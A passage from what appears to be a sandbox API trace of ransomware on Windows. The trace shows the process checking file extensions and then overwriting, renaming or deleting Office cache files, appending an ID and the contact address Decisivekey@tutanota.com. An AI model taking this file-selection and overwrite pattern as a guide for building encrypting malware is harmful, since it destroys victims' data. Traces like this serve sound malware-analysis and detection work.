(lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0213.815] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0213.815] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0213.815] lstrlenW (lpString=".doc") returned 4 [0213.815] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0213.815] lstrlenW (lpString=".docx") returned 5 [0213.815] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0213.815] lstrlenW (lpString=".pdf") returned 4 [0213.815] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0213.816] lstrlenW (lpString=".xls") returned 4 [0213.816] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0213.816] lstrlenW (lpString=".xlsx") returned 5 [0213.816] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0213.816] lstrlenW (lpString=".ppt") returned 4 [0213.816] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0213.816] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0213.816] lstrlenW (lpString=".zip") returned 4 [0213.816] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0213.816] lstrlenW (lpString=".rar") returned 4 [0213.816] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0213.816] lstrlenW (lpString=".bz2") returned 4 [0213.816] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0213.816] lstrlenW (lpString=".7z") returned 3 [0213.816] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0213.816] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0213.816] lstrlenW (lpString=".dbf") returned 4 [0213.816] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0213.816] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0213.816] lstrlenW (lpString=".1cd") returned 4 [0213.816] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0213.816] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0213.816] lstrlenW (lpString=".jpg") returned 4 [0213.816] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0213.816] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0213.816] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0213.816] lstrlenW (lpString=".doc") returned 4 [0213.816] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0213.816] lstrlenW (lpString=".docx") returned 5 [0213.816] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0213.816] lstrlenW (lpString=".pdf") returned 4 [0213.816] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0213.816] lstrlenW (lpString=".xls") returned 4 [0213.816] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0213.816] lstrlenW (lpString=".xlsx") returned 5 [0213.817] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0213.817] lstrlenW (lpString=".ppt") returned 4 [0213.817] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0213.817] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0213.817] lstrlenW (lpString=".zip") returned 4 [0213.817] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0213.817] lstrlenW (lpString=".rar") returned 4 [0213.817] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0213.817] lstrlenW (lpString=".bz2") returned 4 [0213.817] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0213.817] lstrlenW (lpString=".7z") returned 3 [0213.817] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0213.817] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0213.817] lstrlenW (lpString=".dbf") returned 4 [0213.817] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0213.817] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0213.817] lstrlenW (lpString=".1cd") returned 4 [0213.817] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0213.817] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0213.817] lstrlenW (lpString=".jpg") returned 4 [0213.817] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0213.817] lstrcmpiW (lpString1=".xrm-ms", lpString2=".AUF") returned 1 [0213.817] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0213.817] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0213.818] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=715834) returned 1 [0213.818] CloseHandle (hObject=0x180) returned 1 [0213.818] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0213.818] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.818] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0213.818] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.818] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.818] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0213.818] GetLastError () returned 0x0 [0213.818] ReadFile (in: hFile=0x180, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0213.878] WriteFile (in: hFile=0x204, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0213.890] ReadFile (in: hFile=0x180, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0213.890] WriteFile (in: hFile=0x204, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0x104, lpOverlapped=0x0) returned 1 [0213.891] SetEndOfFile (hFile=0x204) returned 1 [0213.891] CloseHandle (hObject=0x204) returned 1 [0213.891] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.891] SetEndOfFile (hFile=0x180) returned 1 [0213.897] CloseHandle (hObject=0x180) returned 1 [0213.897] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0213.897] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0213.897] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0213.897] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0213.897] lstrlenW (lpString=".doc") returned 4 [0213.897] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.897] lstrlenW (lpString=".docx") returned 5 [0213.897] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.897] lstrlenW (lpString=".pdf") returned 4 [0213.898] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.898] lstrlenW (lpString=".xls") returned 4 [0213.898] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.898] lstrlenW (lpString=".xlsx") returned 5 [0213.898] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.898] lstrlenW (lpString=".ppt") returned 4 [0213.898] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.898] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0213.898] lstrlenW (lpString=".zip") returned 4 [0213.898] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.898] lstrlenW (lpString=".rar") returned 4 [0213.898] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.898] lstrlenW (lpString=".bz2") returned 4 [0213.898] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.898] lstrlenW (lpString=".7z") returned 3 [0213.898] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.898] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0213.898] lstrlenW (lpString=".dbf") returned 4 [0213.898] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.898] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0213.898] lstrlenW (lpString=".1cd") returned 4 [0213.898] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.898] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0213.898] lstrlenW (lpString=".jpg") returned 4 [0213.898] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.898] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0213.898] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0213.898] lstrlenW (lpString=".doc") returned 4 [0213.898] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.898] lstrlenW (lpString=".docx") returned 5 [0213.898] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.898] lstrlenW (lpString=".pdf") returned 4 [0213.898] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.898] lstrlenW (lpString=".xls") returned 4 [0213.898] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.898] lstrlenW (lpString=".xlsx") returned 5 [0213.898] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.898] lstrlenW (lpString=".ppt") returned 4 [0213.898] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.898] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0213.898] lstrlenW (lpString=".zip") returned 4 [0213.898] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.898] lstrlenW (lpString=".rar") returned 4 [0213.898] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.898] lstrlenW (lpString=".bz2") returned 4 [0213.898] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.898] lstrlenW (lpString=".7z") returned 3 [0213.898] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.898] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0213.898] lstrlenW (lpString=".dbf") returned 4 [0213.898] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.898] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0213.899] lstrlenW (lpString=".1cd") returned 4 [0213.899] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.899] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0213.899] lstrlenW (lpString=".jpg") returned 4 [0213.899] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.899] lstrcmpiW (lpString1=".cab", lpString2=".AUF") returned 1 [0213.899] lstrlenW (lpString="ProPrWW.cab") returned 11 [0213.899] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0213.913] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=177720283) returned 1 [0213.913] CloseHandle (hObject=0x194) returned 1 [0213.913] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab")) returned 0x2020 [0213.913] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.913] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0213.914] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0213.914] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc6c | out: lpNewFilePointer=0x0) returned 1 [0213.914] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0213.914] ReadFile (in: hFile=0x194, lpBuffer=0x3a10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a10058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0214.018] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0214.018] ReadFile (in: hFile=0x194, lpBuffer=0x3a50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a50058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0214.051] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2e5fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0214.051] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xa93cbdb, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0214.052] ReadFile (in: hFile=0x194, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0214.076] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.076] WriteFile (in: hFile=0x194, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2e5fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0214.101] SetEndOfFile (hFile=0x194) returned 1 [0214.102] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0214.102] WriteFile (in: hFile=0x194, lpBuffer=0x4049098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x4049098*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0214.102] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0214.102] WriteFile (in: hFile=0x194, lpBuffer=0x4049098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x4049098*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0214.103] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xa93cbdb, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0214.103] WriteFile (in: hFile=0x194, lpBuffer=0x4049098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x4049098*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0214.111] CloseHandle (hObject=0x194) returned 1 [0214.111] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0214.111] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0214.111] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0214.111] lstrlenW (lpString=".doc") returned 4 [0214.111] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0214.111] lstrlenW (lpString=".docx") returned 5 [0214.111] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0214.111] lstrlenW (lpString=".pdf") returned 4 [0214.111] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0214.111] lstrlenW (lpString=".xls") returned 4 [0214.111] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0214.111] lstrlenW (lpString=".xlsx") returned 5 [0214.112] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0214.112] lstrlenW (lpString=".ppt") returned 4 [0214.112] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0214.112] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0214.112] lstrlenW (lpString=".zip") returned 4 [0214.112] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0214.112] lstrlenW (lpString=".rar") returned 4 [0214.112] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0214.112] lstrlenW (lpString=".bz2") returned 4 [0214.112] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0214.112] lstrlenW (lpString=".7z") returned 3 [0214.112] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0214.112] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0214.112] lstrlenW (lpString=".dbf") returned 4 [0214.112] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0214.112] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0214.112] lstrlenW (lpString=".1cd") returned 4 [0214.112] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0214.112] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0214.112] lstrlenW (lpString=".jpg") returned 4 [0214.112] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0214.112] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0214.112] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0214.112] lstrlenW (lpString=".doc") returned 4 [0214.112] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0214.112] lstrlenW (lpString=".docx") returned 5 [0214.112] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0214.112] lstrlenW (lpString=".pdf") returned 4 [0214.112] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0214.112] lstrlenW (lpString=".xls") returned 4 [0214.112] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0214.112] lstrlenW (lpString=".xlsx") returned 5 [0214.112] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0214.112] lstrlenW (lpString=".ppt") returned 4 [0214.112] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0214.112] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0214.112] lstrlenW (lpString=".zip") returned 4 [0214.112] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0214.112] lstrlenW (lpString=".rar") returned 4 [0214.112] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0214.112] lstrlenW (lpString=".bz2") returned 4 [0214.112] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0214.112] lstrlenW (lpString=".7z") returned 3 [0214.112] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0214.112] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0214.112] lstrlenW (lpString=".dbf") returned 4 [0214.112] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0214.112] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0214.112] lstrlenW (lpString=".1cd") returned 4 [0214.112] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0214.112] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0214.112] lstrlenW (lpString=".jpg") returned 4 [0214.113] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0214.113] lstrcmpiW (lpString1=".exe", lpString2=".AUF") returned 1 [0214.113] lstrlenW (lpString="setup.exe") returned 9 [0214.113] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0214.113] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=1377656) returned 1 [0214.113] CloseHandle (hObject=0x194) returned 1 [0214.113] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0214.113] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0214.113] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0214.113] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 